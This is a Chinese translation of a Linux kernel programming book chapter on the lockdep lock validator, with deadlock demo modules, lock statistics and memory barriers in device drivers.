正如先前建议的,打开开发和测试过程中使用的调试内核中的所有或大部分锁调试选项是一个好主意。当然,预期的是,这样做可能会显著减慢执行速度(并使用更多内存);就像生活中一样,这是一个你必须决定的权衡:你可以在速度的代价下获得常见锁定问题、错误和死锁的检测。这是一个你应该更愿意做出的权衡,特别是在开发(或重构)代码时。

锁验证器 lockdep - 及早捕捉锁定问题

Linux 内核具有一个非常有用的功能,可以被内核开发人员充分利用:运行时锁定正确性或锁定依赖验证器;简而言之,lockdep。基本思想是:每当内核中发生任何锁定活动 - 获取或释放任何内核级别的锁,或涉及多个锁的任何锁定序列时,lockdep运行时就会发挥作用。

这是被跟踪或映射的(有关性能影响及其如何被缓解的更多信息,请参见下一段)。通过应用已知的正确锁定规则(在前一章的锁定指南和死锁部分中你已经得到了一些提示),lockdep然后对所做的正确性进行结论。

这是它的美妙之处,lockdep实现了 100%的数学证明(或闭合),证明了锁序列是正确的还是不正确。以下是来自内核文档对该主题的直接引用(https://www.kernel.org/doc/html/v5.4/locking/lockdep-design.html):

验证器在数学上实现了完美的“闭合”(锁定正确性的证明),即对于内核生命周期中至少发生一次的每个简单的、独立的单任务锁定序列,验证器都能以 100%的确定性证明,这些锁定序列的任何组合和时序都不会导致任何类型的锁相关死锁。

此外,lockdep通过发出WARN*()宏来警告您有关以下类别的锁定错误:死锁/锁倒置场景、循环锁依赖关系以及硬中断/软中断安全/不安全的锁定错误。这些信息非常宝贵;使用lockdep验证您的代码可以通过及早捕捉锁定问题来节省数百个被浪费的工作小时。(顺便说一下,lockdep跟踪所有锁及其锁定序列或“锁链”;这些可以通过/proc/lockdep_chains查看。)

关于性能缓解:你可能会想象,随着成千上万个锁实例在周围浮动,验证每个单个锁序列将会非常慢(实际上,它的算法时间复杂度是O(N²))。这根本行不通;因此,lockdep通过验证任何锁定场景(比如,在某个代码路径上,先获取锁 A,然后获取锁 B - 这被称为锁序列锁链仅一次,即第一次出现时。它通过维护每个锁链的 64 位哈希来实现这一点。

原始用户空间方法:一种非常原始的尝试检测死锁的方法是通过用户空间,只需使用 GNU ps(1);执行ps -LA -o state,pid,cmd | grep "^D"会打印出处于D(不可中断睡眠,TASK_UNINTERRUPTIBLE)状态的任何线程。这可能是由于死锁,但也可能不是;如果它持续了很长时间,那么它很可能是死锁。试一试!当然,lockdep是一个远远优越的解决方案。(请注意,这仅适用于 GNU ps,而不适用于轻量级的busybox ps。)

其他有用的用户空间工具是strace(1)ltrace(1) - 它们分别提供了由进程(或线程)发出的每个系统和库调用的详细跟踪;你可能能够捕捉到一个挂起的进程/线程,并查看它在哪里被卡住(使用strace -p PID对挂起的进程可能特别有用)。

另一个需要明确的要点是:lockdep发出关于(数学上)不正确的锁定的警告,即使在运行时实际上没有发生死锁!lockdep提供了证据表明确实存在可能在将来某个时刻导致错误(死锁、不安全的锁定等)的问题;它通常是完全正确的;认真对待并修复问题。 (再说一遍,通常情况下,软件世界中没有任何东西是 100%正确的 100%的时间:如果lockdep代码本身出现了错误怎么办?甚至还有一个CONFIG_DEBUG_LOCKDEP配置选项。最重要的是,我们作为人类开发人员必须仔细评估情况,检查是否存在错误的警告。)

接下来,lockdep基于锁类进行工作;这只是一个“逻辑”锁,而不是该锁的“物理”实例。例如,内核的打开文件数据结构struct file有两个锁——互斥锁和自旋锁——lockdep将每个锁都视为一个锁类。即使在运行时内存中存在几千个struct file实例,lockdep也只会将其跟踪为一个类。有关lockdep内部设计的更多细节,我们建议您参考官方内核文档(www.kernel.org/doc/html/v5.4/locking/lockdep-design.html)。

示例 - 使用 lockdep 捕获死锁错误

在这里,我们假设您现在已经构建并正在运行一个启用了lockdep的调试内核(详细描述在为锁调试配置调试内核部分)。验证它确实已启用:

$ uname -r
5.4.0-llkd-dbg
$ grep PROVE_LOCKING /boot/config-5.4.0-llkd-dbg
CONFIG_PROVE_LOCKING=y
$

好的!现在,让我们亲自体验一些死锁,看看lockdep将如何帮助您捕获它们。继续阅读!

示例 1 - 使用 lockdep 捕获自死锁错误

作为第一个例子,让我们回到我们的一个内核模块,这个模块是伴随指南Linux Kernel Programming - Chapter 6Kernel Internals Essentials – Processes and Threads部分的,Iterating over the task list部分,这里:github.com/PacktPublishing/Linux-Kernel-Programming/raw/master/ch6/foreach/thrd_showall/thrd_showall.c。在这里,我们循环遍历每个线程,从其任务结构中打印一些细节;关于这一点,这里有一个代码片段,我们从中获取线程的名称(记住它在任务结构的一个成员中叫做comm):

// ch6/foreach/thrd_showall/thrd_showall.c
static int showthrds(void)
{
    struct task_struct *g = NULL, *t = NULL; /* 'g' : process ptr; 't': thread ptr */
    [ ... ]
    do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */
        task_lock(t);
        [ ... ]
        if (!g->mm) {    // kernel thread
            snprintf(tmp, TMPMAX-1, " [%16s]", t->comm);
        } else {
            snprintf(tmp, TMPMAX-1, " %16s ", t->comm);
        }
        snprintf(buf, BUFMAX-1, "%s%s", buf, tmp);
        [ ... ]

这样做是有效的,但似乎有更好的方法:与其直接使用t->comm查找线程的名称(就像我们在这里做的那样),内核提供了{get,set}_task_comm()辅助例程来获取和设置任务的名称。因此,我们重写代码以使用get_task_comm()辅助宏;它的第一个参数是放置名称的缓冲区(预期您已为其分配了内存),第二个参数是要查询其名称的线程的任务结构的指针(以下代码片段来自这里:ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c):

// ch13/3_lockdep/buggy_lockdep/thrd_showall_buggy.c
static int showthrds_buggy(void)
{
    struct task_struct *g, *t; /* 'g' : process ptr; 't': thread ptr */
    [ ... ]
    char buf[BUFMAX], tmp[TMPMAX], tasknm[TASK_COMM_LEN];
    [ ... ]
    do_each_thread(g, t) { /* 'g' : process ptr; 't': thread ptr */
        task_lock(t);
        [ ... ]
        get_task_comm(tasknm, t);
        if (!g->mm) // kernel thread
            snprintf(tmp, sizeof(tasknm)+3, " [%16s]", tasknm);
        else
            snprintf(tmp, sizeof(tasknm)+3, " %16s ", tasknm);
        [ ... ]

当编译并插入到我们的测试系统(一个虚拟机,谢天谢地)的内核中时,它可能会变得奇怪,甚至只是简单地挂起!(当我这样做时,我能够在系统完全无响应之前通过dmesg(1)检索内核日志。)

如果您的系统在插入此 LKM 时卡住了怎么办?嗯,这就是内核调试的困难所在!您可以尝试的一件事(在我在 x86_64 Fedora 29 VM 上尝试这个例子时对我有效)是重新启动卡住的 VM,并使用journalctl --since="1 hour ago"命令查看内核日志,利用 systemd 强大的journalctl(1)实用程序;您应该能够看到lockdep的 printk 输出。不幸的是,不能保证内核日志的关键部分在卡住时保存到磁盘,以便journalctl能够检索。这就是为什么使用内核的kdump功能 - 然后使用crash(8)对内核转储映像文件进行事后分析 - 可以成为救命稻草的原因(请参阅本章进一步阅读部分中有关使用kdumpcrash的资源)。

扫视内核日志,很明显:lockdep捕获到了(自身)死锁(我们在截图中展示了相关部分输出)。

图 7.9 - 展示我们的有 bug 的模块加载后的内核日志的(部分)截图;lockdep 捕获到了自身死锁!

尽管接下来有更多的细节(包括insmod(8)的内核堆栈的堆栈回溯 - 因为它是进程上下文,在这种情况下,寄存器值等等),但是我们在前面的图中看到的足以推断出发生了什么。显然,lockdep告诉我们insmod/2367 正在尝试获取锁:,接着是但任务已经持有锁:。接下来(仔细看图 7.9),insmod持有的锁是(p->alloc_lock)(暂时忽略后面的内容;我们很快会解释),实际尝试获取它的例程(在at:后面显示)是__get_task_comm+0x28/0x50。现在我们有了进展:让我们弄清楚在调用get_task_comm()时到底发生了什么;我们发现它是一个宏,是实际工作例程__get_task_comm()的包装器。它的代码如下:

// fs/exec.c
char *__get_task_comm(char *buf, size_t buf_size, struct task_struct *tsk)
{
    task_lock(tsk);
    strncpy(buf, tsk->comm, buf_size);
    task_unlock(tsk);
    return buf; 
}
EXPORT_SYMBOL_GPL(__get_task_comm);

啊,问题就在这里:__get_task_comm()函数尝试重新获取我们已经持有的同一个锁,导致(自身)死锁!我们在哪里获取它?回想一下,在我们(有 bug 的)内核模块进入循环后的第一行代码是我们调用task_lock(t),然后几行后,我们调用get_task_comm(),它在内部尝试重新获取同一个锁:结果就是自身死锁

do_each_thread(g, t) {   /* 'g' : process ptr; 't': thread ptr */
    task_lock(t);
    [ ... ]
    get_task_comm(tasknm, t);

此外,找到这个特定锁是很容易的;查找task_lock()例程的代码:

// include/linux/sched/task.h */
static inline void task_lock(struct task_struct *p)
{
    spin_lock(&p->alloc_lock);
}

所以,现在一切都说得通了;这是任务结构中名为alloc_lock的自旋锁,就像lockdep告诉我们的那样。

lockdep的报告中有一些令人困惑的标记。看看以下几行:

[ 1021.449384] insmod/2367 is trying to acquire lock:
[ 1021.451361] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: __get_task_comm+0x28/0x50
[ 1021.453676]
               but task is already holding lock:
[ 1021.457365] ffff88805de73f08 (&(&p->alloc_lock)->rlock){+.+.}, at: showthrds_buggy+0x13e/0x6d1 [thrd_showall_buggy]

忽略时间戳,在前面的代码块中看到的第二行最左边列中的数字是用于标识这个特定锁序列的 64 位轻量级哈希值。请注意,它与下一行中的哈希值完全相同;因此,我们知道它是同一个锁!{+.+.}是 lockdep 对这个锁获取的状态的表示(含义是:+表示在启用 IRQ 的情况下获取锁,.表示在禁用 IRQ 并且不在 IRQ 上下文中获取锁,等等)。这些在内核文档中有解释(www.kernel.org/doc/Documentation/locking/lockdep-design.txt);我们就到此为止。

Steve Rostedt 在 2011 年的 Linux Plumber's Conference 上做了一个关于解释lockdep输出的详细演示;相关幻灯片很有启发性,探讨了简单和复杂的死锁场景以及lockdep如何检测它们:

Lockdep: 如何阅读其神秘的输出 (blog.linuxplumbersconf.org/2011/ocw/sessions/153)。

修复它

现在我们理解了这里的问题,我们该如何解决呢?看到 lockdep 的报告(图 7.9)并解释它,很简单:(如前所述)由于在do-while循环的开始已经获取了名为alloc_lock的任务结构自旋锁(通过task_lock(t)),确保在调用get_task_comm()例程之前(它在内部获取并释放相同的锁),您解锁它,然后执行get_task_comm(),然后再次锁定它。

以下屏幕截图(图 7.10)显示了旧版本(ch13/3_lockdep/buggy_thrdshow_eg/thrd_showall_buggy.c)和我们代码的新版本之间的差异(通过diff(1)实用程序):

图 7.10 - (部分)屏幕截图显示了我们的演示 thrdshow LKM 的错误和修复版本之间的关键部分

很好;接下来是另一个例子 - 捕获 AB-BA 死锁!

示例 2 - 使用 lockdep 捕获 AB-BA 死锁

作为另一个例子,让我们看一个(演示)内核模块,它故意创建了一个循环依赖,最终会导致死锁。 代码在这里:ch13/3_lockdep/deadlock_eg_AB-BA。 我们基于之前的一个模块(ch13/2_percpu)创建了这个模块;正如您所记得的,我们创建了两个内核线程,并确保(通过使用一个被篡改的sched_setaffinity())每个内核线程在唯一的 CPU 核心上运行(第一个内核线程在 CPU 核心0上运行,第二个在核心1上运行)。

这样,我们就有了并发性。现在,在这些线程中,我们让它们使用两个自旋锁,lockAlockB。 理解我们有一个进程上下文,有两个或更多锁,我们记录并遵循锁定顺序规则:首先获取 lockA,然后获取 lockB。 很好;所以,一种不应该这样做的方式是:

kthread 0 on CPU #0                kthread 1 on CPU #1
  Take lockA                           Take lockB
     <perform work>                       <perform work>
                                          (Try and) take lockA
                                          < ... spins forever :
                                                DEADLOCK ... >
(Try and) take lockB
< ... spins forever : 
      DEADLOCK ... >

当程序(实际上是内核线程 1)忽略了锁定顺序规则(当lock_ooo模块参数设置为1时),这当然是经典的 AB-BA 死锁! 它发生了死锁。 这里是相关的代码(我们没有在这里显示整个程序;请克隆本书的 GitHub 存储库github.com/PacktPublishing/Linux-Kernel-Programming并自行尝试):

// ch13/3_lockdep/deadlock_eg_AB-BA/deadlock_eg_AB-BA.c
[ ... ]
/* Our kernel thread worker routine */
static int thrd_work(void *arg)
{
    [ ... ]
   if (thrd == 0) { /* our kthread #0 runs on CPU 0 */
        pr_info(" Thread #%ld: locking: we do:"
            " lockA --> lockB\n", thrd);
        for (i = 0; i < THRD0_ITERS; i ++) {
            /* In this thread, perform the locking per the lock ordering 'rule';
 * first take lockA, then lockB */
            pr_info(" iteration #%d on cpu #%ld\n", i, thrd);
            spin_lock(&lockA);
            DELAY_LOOP('A', 3); 
            spin_lock(&lockB);
            DELAY_LOOP('B', 2); 
            spin_unlock(&lockB);
            spin_unlock(&lockA);
        }

我们的内核线程0正确执行,遵循锁定顺序规则;与之前的代码相关的我们的内核线程1的代码如下:

   [ ... ]
   } else if (thrd == 1) { /* our kthread #1 runs on CPU 1 */
        for (i = 0; i < THRD1_ITERS; i ++) {
            /* In this thread, if the parameter lock_ooo is 1, *violate* the
 * lock ordering 'rule'; first (attempt to) take lockB, then lockA */
            pr_info(" iteration #%d on cpu #%ld\n", i, thrd);
            if (lock_ooo == 1) {        // violate the rule, naughty boy!
                pr_info(" Thread #%ld: locking: we do: lockB --> lockA\n",thrd);
                spin_lock(&lockB);
                DELAY_LOOP('B', 2);
                spin_lock(&lockA);
                DELAY_LOOP('A', 3);
                spin_unlock(&lockA);
                spin_unlock(&lockB);
            } else if (lock_ooo == 0) { // follow the rule, good boy!
                pr_info(" Thread #%ld: locking: we do: lockA --> lockB\n",thrd);
                spin_lock(&lockA);
                DELAY_LOOP('B', 2);
                spin_lock(&lockB);
                DELAY_LOOP('A', 3);
                spin_unlock(&lockB);
                spin_unlock(&lockA);
            }
    [ ... ]

构建并运行它,将lock_ooo内核模块参数设置为0(默认值);我们发现,遵守锁定顺序规则,一切正常:

$ sudo insmod ./deadlock_eg_AB-BA.ko
$ dmesg
[10234.023746] deadlock_eg_AB-BA: inserted (param: lock_ooo=0)
[10234.026753] thrd_work():115: *** thread PID 6666 on cpu 0 now ***
[10234.028299] Thread #0: locking: we do: lockA --> lockB
[10234.029606] iteration #0 on cpu #0
[10234.030765] A
[10234.030766] A
[10234.030847] thrd_work():115: *** thread PID 6667 on cpu 1 now ***
[10234.031861] A
[10234.031916] B
[10234.032850] iteration #0 on cpu #1
[10234.032853] Thread #1: locking: we do: lockA --> lockB
[10234.038831] B
[10234.038836] Our kernel thread #0 exiting now...
[10234.038869] B
[10234.038870] B
[10234.042347] A
[10234.043363] A
[10234.044490] A
[10234.045551] Our kernel thread #1 exiting now...
$ 

现在,我们将lock_ooo内核模块参数设置为1运行它,发现,如预期的那样,系统被锁定! 我们违反了锁定顺序规则,因此系统陷入了死锁! 这次,重新启动 VM 并执行journalctl --since="10 min ago"得到了 lockdep 的报告:

======================================================
WARNING: possible circular locking dependency detected
5.4.0-llkd-dbg #2 Tainted: G OE
------------------------------------------------------
thrd_0/0/6734 is trying to acquire lock:
ffffffffc0fb2518 (lockB){+.+.}, at: thrd_work.cold+0x188/0x24c [deadlock_eg_AB_BA]

but task is already holding lock:
ffffffffc0fb2598 (lockA){+.+.}, at: thrd_work.cold+0x149/0x24c [deadlock_eg_AB_BA]

which lock already depends on the new lock.
[ ... ]
other info that might help us debug this:

 Possible unsafe locking scenario:

       CPU0                    CPU1
       ----                    ----
  lock(lockA);
                               lock(lockB);
                               lock(lockA);
  lock(lockB);

 *** DEADLOCK ***

[ ... lots more output follows ... ]

lockdep报告非常惊人。 在句子“可能的不安全锁定场景:”之后,检查一下,它几乎精确地显示了运行时实际发生的情况 - CPU1 : lock(lockB); --> lock(lockA);out-of-orderooo)锁定顺序!由于lockA已经被 CPU 0上的内核线程占用,CPU 1上的内核线程永远旋转 - 这是 AB-BA 死锁的根本原因。

此外,非常有趣的是,模块插入后不久(lock_ooo设置为1),内核还检测到了软锁定错误。 printk 被定向到我们的控制台,日志级别为KERN_EMERG,这使我们能够看到这一点,尽管系统似乎已经挂起。 它甚至显示了问题的起源(再次强调,这个输出是在我的 x86_64 Ubuntu 20.04 LTS VM 上运行自定义 5.4.0 调试内核)的相关内核线程:

Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ...
kernel:[10939.279524] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [thrd_0/0:6734]
Message from syslogd@seawolf-VirtualBox at Dec 24 11:01:51 ...
kernel:[10939.287525] watchdog: BUG: soft lockup - CPU#1 stuck for 23s! [thrd_1/1:6735]

(FYI,检测到这一点并喷出前面的消息的代码在这里:kernel/watchdog.c:watchdog_timer_fn())。

另一个注意事项:/proc/lockdep_chains的输出也“证明”了错误的锁定顺序被采用(或存在):

$ sudo cat /proc/lockdep_chains
[ ... ]
irq_context: 0
[000000005c6094ba] lockA
[000000009746aa1e] lockB
[ ... ]
irq_context: 0
[000000009746aa1e] lockB
[000000005c6094ba] lockA

还要记住,lockdep仅在第一次违反任何内核锁的锁规则时报告一次。

lockdep - 注释和问题

让我们用一些关于强大的lockdep基础设施的要点来总结这一覆盖范围。

lockdep 注释

在用户空间,您可能熟悉使用非常有用的assert()宏。在那里,您断言一个布尔表达式,一个条件(例如,assert(p == 5);)。如果断言在运行时为真,则什么也不会发生,执行会继续;当断言为假时,进程将被中止,并且一个嘈杂的printf()会指示哪个断言以及它失败的位置。这允许开发人员检查他们期望的运行时条件。因此,断言可能非常有价值-它们有助于捕获错误!

类似地,lockdep允许内核开发人员通过lockdep_assert_held()宏在特定点断言锁已被持有。这称为lockdep 注释。宏定义如下所示:

// include/linux/lockdep.h
#define lockdep_assert_held(l) do { \
        WARN_ON(debug_locks && !lockdep_is_held(l)); \
    } while (0)

断言失败会导致警告(通过WARN_ON())。这非常有价值,因为它意味着尽管现在应该持有锁l,但实际上并没有。还要注意,这些断言只在启用锁调试时才起作用(这是内核内启用锁调试时的默认设置;只有在lockdep或其他内核锁定基础设施发生错误时才会关闭)。事实上,内核代码库在核心和驱动程序代码中都广泛使用lockdep注释。(还有一些形式为lockdep_assert_held*()lockdep断言的变体,以及很少使用的lockdep_*pin_lock()宏。)

lockdep 问题

在使用lockdep时可能会出现一些问题:

  • 重复加载和卸载模块可能导致lockdep的内部锁类限制超出(如内核文档中所解释的那样,加载x.ko内核模块会为其所有锁创建一组新的锁类,而卸载x.ko则不会删除它们;实际上是重用)。实际上,要么不要重复加载/卸载模块,要么重置系统。

  • 特别是在数据结构具有大量锁(例如结构数组)的情况下,未能正确初始化每个锁可能会导致lockdep锁类溢出。

debug_locks整数在禁用锁调试时设置为0(即使在调试内核上也是如此);这可能会导致出现以下消息:*WARNING* lock debugging disabled!! - possibly due to a lockdep warning。这甚至可能是由于lockdep之前发出警告而发生的。重新启动系统并重试。

尽管本书是基于 5.4 LTS 内核的,但在撰写时最近合并到 5.8 内核中的一个强大功能是内核并发性检查器KCSAN)。这是 Linux 内核的数据竞争检测器,通过编译时插装工作。您可以在这些 LWN 文章中找到更多详细信息:使用 KCSAN 查找竞争条件,LWN,2019 年 10 月(lwn.net/Articles/802128/)和并发错误应该害怕大坏数据竞争检测器(第一部分),LWN,2020 年 4 月(lwn.net/Articles/816850/)。

另外,值得一提的是,存在一些工具用于捕获用户空间应用程序中的锁定错误和死锁。其中包括著名的helgrind(来自 Valgrind 套件)、TSan线程检测器),它提供了编译时的仪器来检查多线程应用程序中的数据竞争,以及 lockdep 本身;lockdep 也可以在用户空间中使用(作为库)!此外,现代的[e]BPF 框架提供了deadlock-bpfcc(8)前端。它专门设计用于在给定运行进程(或线程)中找到潜在的死锁(锁定顺序倒置)。

锁定统计

锁定可能会争用,这是指当一个上下文想要获取锁,但它已经被占用,因此必须等待解锁发生。严重的争用可能会导致严重的性能瓶颈;内核提供了锁定统计,以便轻松识别严重争用的锁。通过打开CONFIG_LOCK_STAT内核配置选项来启用锁定统计(如果没有这个选项,在大多数发行版内核上,/proc/lock_stat条目将不存在)。

锁定统计代码利用了lockdep在锁定代码路径(__contended__acquired__released钩子)中插入钩子来在这些关键点收集统计信息。关于锁定统计的精心编写的内核文档(www.kernel.org/doc/html/latest/locking/lockstat.html#lock-statistics)传达了这些信息(以及更多)以及有用的状态图;请查阅。

查看锁定统计

一些快速提示和查看锁定统计信息的基本命令如下(当然,这假设CONFIG_LOCK_STAT已经打开):

做什么? 命令
清除锁定统计 sudo sh -c "echo 0 > /proc/lock_stat"
启用锁定统计 sudo sh -c "echo 1 > /proc/sys/kernel/lock_stat"
禁用锁定统计 sudo sh -c "echo 0 > /proc/sys/kernel/lock_stat"

接下来,一个简单的演示来查看锁定统计信息:我们编写一个非常简单的 Bash 脚本,ch13/3_lockdep/lock_stats_demo.sh(在本书的 GitHub 存储库中查看其代码)。它清除并启用锁定统计,然后简单地运行cat /proc/self/cmdline命令。这实际上会触发内核深处的一系列代码运行(主要在fs/proc内);需要查找几个全局的可写数据结构。这将构成一个关键部分,因此将会获取锁。我们的脚本将禁用锁定统计,然后使用 grep 命令查看一些锁定统计信息,过滤掉其余的部分:

egrep "alloc_lock|task|mm" /proc/lock_stat                                                                        

运行后,我们得到的输出如下(同样,在我们的 x86_64 Ubuntu 20.04 LTS VM 上运行我们的自定义 5.4.0 调试内核):

图 7.11 - 屏幕截图显示我们的 lock_stats_demo.sh 脚本运行,显示一些锁定统计信息

图 7.11中的输出在水平上相当长,因此换行。)显示的时间单位是微秒。class name字段是锁类;我们可以看到与任务和内存结构(task_structmm_struct)相关的几个锁!我们不会重复材料,而是建议您查阅锁定统计的内核文档,该文档解释了前述字段(con-bounceswaittime*等)以及如何解释输出。正如预期的那样,在图 7.11中,在这种简单情况下,以下内容:

  • 第一个字段class_name是锁类;这里看到了锁的(符号)名称。

  • 实际上没有锁的争用(字段 2 和 3)。

  • 等待时间(waittime*,字段 3 到 6)为 0。

  • acquisitions字段(#9)是锁定被获取(占用)的总次数;它是正数(甚至对于mm_struct信号量&mm->mmap_sem*,它甚至超过了 300)。

  • 最后的四个字段,10 到 13,是累积锁持有时间统计(holdtime-{min|max|total|avg})。同样,在这里,您可以看到 mm_struct mmap_sem* 锁的平均持有时间最长。

  • (请注意,任务结构的自旋锁命名为alloc_lock也被占用;我们在示例 1 - 使用 lockdep 捕获自死锁错误部分遇到了它)。

可以通过 sudo grep ":" /proc/lock_stat | head 查找系统上争用最激烈的锁。当然,您应该意识到这是上次重置(清除)锁统计信息时的情况。

请注意,由于锁调试被禁用,锁统计信息可能会被禁用;例如,您可能会遇到这种情况:

$ sudo cat /proc/lock_stat
lock_stat version 0.4
*WARNING* lock debugging disabled!! - possibly due to a lockdep warning

这个警告可能需要您重新启动系统。

好了,您离成功不远了!让我们以对内存屏障的简要介绍结束本章。

内存屏障 - 介绍

最后但同样重要的是,让我们简要讨论另一个问题 - 内存屏障。这是什么意思?有时,程序流对人类程序员来说变得不可知,因为微处理器、内存控制器和编译器可以重新排序内存读取和写入。在大多数情况下,这些“技巧”保持良性并且被优化。但是有些情况 - 通常跨硬件边界,例如多核系统上的 CPU 核心、CPU 到外围设备,以及反之亦然的UniProcessorUP) - 在这些情况下,这种重新排序不应该发生;必须遵守原始和预期的内存加载和存储顺序。内存屏障(通常是嵌入在*mb*()宏中的机器级指令)是一种抑制这种重新排序的方法;它是一种强制 CPU/内存控制器和编译器按照所需的顺序对指令/数据进行排序的方法。

可以通过使用以下宏将内存屏障放入代码路径中:#include <asm/barrier.h>

  • rmb(): 将读(或加载)内存屏障插入指令流中

  • wmb(): 将写(或存储)内存屏障插入指令流中

  • mb(): 通用内存屏障;直接引用内存屏障的内核文档(www.kernel.org/doc/Documentation/memory-barriers.txt)上的话,"通用内存屏障保证在屏障之前指定的所有 LOAD 和 STORE 操作将在系统的其他组件方面发生在屏障之后指定的所有 LOAD 和 STORE 操作之前。"

内存屏障确保在执行前面的指令或数据访问之前,后续的指令不会执行,从而保持顺序。在某些(罕见)情况下,DMA 可能是其中之一,驱动程序作者使用内存屏障。在使用 DMA 时,重要的是阅读内核文档(www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt)。它提到了内存屏障的使用位置以及不使用它们的危险;有关此内容的更多示例,请参见以下内容。

由于内存屏障的放置通常对我们中的许多人来说是一个相当令人困惑的事情,我们建议您参考为您编写驱动程序的处理器或外围设备的相关技术参考手册,以获取更多详细信息。例如,在树莓派上,SoC 是 Broadcom BCM2835 系列;参考其外围设备手册 - BCM2835 ARM Peripherals 手册(www.raspberrypi.org/app/uploads/2012/02/BCM2835-ARM-Peripherals.pdf),第 1.3 节,正确内存排序的外围设备访问注意事项 - 有助于弄清何时以及何时不使用内存屏障。

在设备驱动程序中使用内存屏障的示例

举个例子,以 Realtek 8139“快速以太网”网络驱动程序为例。为了通过 DMA 传输网络数据包,必须首先设置 DMA(传输)描述符对象。对于这个特定的硬件(NIC 芯片),DMA 描述符对象定义如下:

//​ drivers/net/ethernet/realtek/8139cp.c
struct cp_desc {
    __le32 opts1;
    __le32 opts2;
    __le64 addr;
};

DMA 描述符对象,被命名为struct cp_desc,有三个“单词”。每个单词都必须初始化。现在,为了确保 DMA 控制器正确解释描述符,通常至关重要的是看到对 DMA 描述符的写入与驱动程序作者的意图相同的顺序。为了保证这一点,使用了内存屏障。事实上,相关的内核文档 - 动态 DMA 映射指南www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt)告诉我们确保这确实是这种情况。因此,例如,当设置 DMA 描述符时,您必须将其编码如下,以在所有平台上获得正确的行为:

desc->word0 = address;
wmb();
desc->word1 = DESC_VALID;

因此,看看实践中如何设置 DMA 传输描述符(由 Realtek 8139 驱动程序代码,如下):

// drivers/net/ethernet/realtek/8139cp.c
[ ... ]
static netdev_tx_t cp_start_xmit([...])
{
    [ ... ]
    len = skb->len;
    mapping = dma_map_single(&cp->pdev->dev, skb->data, len, PCI_DMA_TODEVICE);
    [ ... ]
    struct cp_desc *txd;
    [ ... ]
    txd->opts2 = opts2;
    txd->addr = cpu_to_le64(mapping);
    wmb();
    opts1 |= eor | len | FirstFrag | LastFrag;
    txd->opts1 = cpu_to_le32(opts1);
    wmb();
    [...]

根据芯片的数据表要求,驱动程序要求将单词txd->opts2txd->addr存储到内存中,然后存储txd->opts1单词。由于这些写入的顺序很重要,驱动程序使用wmb()写内存屏障。 (另外,FYI,RCU 当然是适当内存屏障的用户,以强制执行内存排序。)

此外,对于单个变量,使用READ_ONCE()WRITE_ONCE()绝对保证编译器和 CPU 会执行你的意图。它将排除所需的编译器优化,使用所需的内存屏障,并在多个核上的多个线程同时访问所涉及的变量时保证缓存一致性。

有关详细信息,请参阅内核文档中关于内存屏障的部分(www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt)。大部分情况下,这些都是在幕后处理的;对于驱动程序作者来说,只有在执行操作,如设置 DMA 描述符或启动和结束 CPU 到外围设备(反之亦然)的通信时,才可能需要内存屏障。

最后一件事 - 一个(不幸的)常见问题:使用volatile关键字会神奇地使并发问题消失吗?当然不会。volatile关键字只是指示编译器禁用围绕该变量的常见优化(此代码路径之外的事物也可能修改标记为volatile的变量),仅此而已。在处理 MMIO 时,这通常是必需的和有用的。关于内存屏障,有趣的是,编译器不会重新排序对于其他volatile变量标记的变量的读取或写入。然而,原子性是一个单独的构造,不能通过使用volatile关键字来保证。

总结

嗯,你知道吗!恭喜你,你做到了,你完成了这本书!

在本章中,我们继续了上一章的内容,继续学习有关内核同步的知识。在这里,您学会了如何通过atomic_t和更新的refcount_t接口更有效地和安全地对整数进行锁定。在其中,您了解了典型的 RMW 序列如何在驱动程序作者的常见活动中被原子化和安全地使用 - 更新设备的寄存器。然后介绍了读者-写者自旋锁,这是一个有趣且有用的内容,尽管有一些注意事项。您将看到,由于不幸的缓存副作用,很容易错误地产生性能问题,包括查看伪共享问题以及如何避免它。

开发者的福音——无锁算法和编程技术——然后详细介绍了 Linux 内核中的每 CPU 变量。重要的是要学会如何谨慎地使用这些技术(尤其是更高级的形式,如 RCU)。最后,您将了解内存屏障是什么,它们通常在哪里使用。

您在 Linux 内核(以及相关领域,如设备驱动程序)中的长期工作之旅现在已经认真开始了。请注意,没有不断的动手实践和实际操作这些材料,成果很快就会消失……我敦促您与这些主题和其他主题保持联系。随着您的知识和经验的增长,为 Linux 内核(或任何开源项目)做出贡献是一项高尚的努力,您最好能够承担起这项任务。

问题

最后,这里有一些问题供您测试对本章材料的了解:github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions。您会发现一些问题的答案在书的 GitHub 存储库中:github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn

进一步阅读

为了帮助您深入学习这个主题,我们在本书的 GitHub 存储库中提供了一个相当详细的在线参考和链接列表(有时甚至包括书籍)。进一步阅读文档在这里可用:github.com/PacktPublishing/Linux-Kernel-Programming/raw/master/Further_Reading.md

posted @ 2024-05-16 19:09  绝不原创的飞龙  阅读(531)  评论(0)    收藏  举报